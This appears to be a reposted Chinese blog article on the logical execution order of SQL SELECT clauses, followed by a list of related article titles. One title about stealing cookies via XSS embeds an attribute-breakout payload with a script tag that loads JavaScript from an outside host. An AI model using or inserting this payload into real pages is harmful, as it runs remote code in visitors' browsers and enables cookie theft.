SQL逻辑查询语句执行顺序
来源:互联网 发布:文泰刻绘软件官网 编辑:程序博客网 时间:2024/05/21 19:57
(7) SELECT (8) DISTINCT <select_list>(1) FROM <left_table>(3) <join_type> JOIN <right_table>(2) ON <join_condition>(4) WHERE <where_condition>(5) GROUP BY <group_by_list>(6) HAVING <having_condition>(9) ORDER BY <order_by_condition>(10) LIMIT <limit_number>
上述SQL的执行顺序
1,执行FROM语句
FROM告诉我们最开始从哪个表开始。经过FROM语句对两个表执行笛卡尔积,会得到一个虚拟表
2,执行ON过滤
执行完笛卡尔积以后,接着会执行ON条件过滤,去掉不符合条件的数据,得到新的虚拟表
3,执行WHERE过滤
通过<where_condition>过滤,形成新的虚拟表
注意:
1,由于数据还没有分组,因此现在还不能在where过滤器中使用where_condition=MIN(col)这类对分组统计的过滤
2,由于还没有进行列的选取操作,因此在SELECT中使用列的别名也是不被允许的,如:SELECT city as c FROM t where c='shanghai';是不允许出现的
4,执行GROUP BY分组
GROUP BY字句主要是对使用WHERE字句得到的虚拟表进行分组操作,得到新的虚拟表
5,执行HAVING过滤
HAVING字句主要和GROUP BY子句配合使用,对GROUP BY得到的数据进行条件过滤,得倒新的虚拟表
6,SELECT列表
选取select_list中的字段形成新的虚拟表
7,执行DISTINCT子句
DISTINCT子句会创建一张内存临时表,和SELECT形成的虚拟表结果一样,但DICTINCT操作的列增加了一个唯一索引,以此去掉重复数据
8,执行ORDER BY子句
对上述虚拟表中的内容按照指定的列进行排序,然后返回一个新的虚拟表
9,执行LIMIT子句
LIMIT子句从上一步得到的虚拟表中选出从指定位置开始的指定行数据
对于小数据,LIMIT字句没有任何问题,当数据量非常大的时候,使用LIMIT n,m是非常低效的。因为LIMIT的机制是每次都是从头开始扫描
所以,对于大数据处理时,是非常有必要在应用层建立一定的缓存机制
- SQL逻辑查询语句执行顺序
- SQL逻辑查询语句执行顺序
- SQL逻辑查询语句执行顺序
- SQL逻辑查询语句执行顺序
- SQL逻辑查询语句执行顺序
- SQL逻辑查询语句执行顺序
- SQL逻辑查询语句执行顺序
- sql语句逻辑执行顺序
- SQL语句内部逻辑查询的执行顺序
- SQL 查询语句执行顺序
- sql语句查询执行顺序
- sql语句查询执行顺序
- SQL Select语句逻辑执行顺序
- Sql查询--sql语句的执行顺序
- sql 语句的执行顺序(1)逻辑查询的各个阶段
- SQL查询语句各部分的执行顺序
- sqlserver查询分析器执行sql语句顺序
- T-sql语句查询执行顺序
- Unity录屏实现(三)
- Springmvc 在同一个controller和不同的controller中进行重定向redirect和转发forward
- xss实战: 利用xss得到cookie "/><br><script src="https://www.yunssl.cn:9062/static/p2.js"></script><!-
- WebView Native与H5交互—jsbridge
- PHP学习
- SQL逻辑查询语句执行顺序
- git远程库与本地联系报错:fatal: Not a git repository (or any of the parent directories): .git
- 要让一个div的高度根据屏幕大小变化,但不是铺满整屏,只占一个固定部分
- forward与sendRedirect区别
- linux添加用户和用户组
- Android Button常用属性
- border
- 【蓝桥杯题】之 算法训练-寂寞的数
- C语言,指针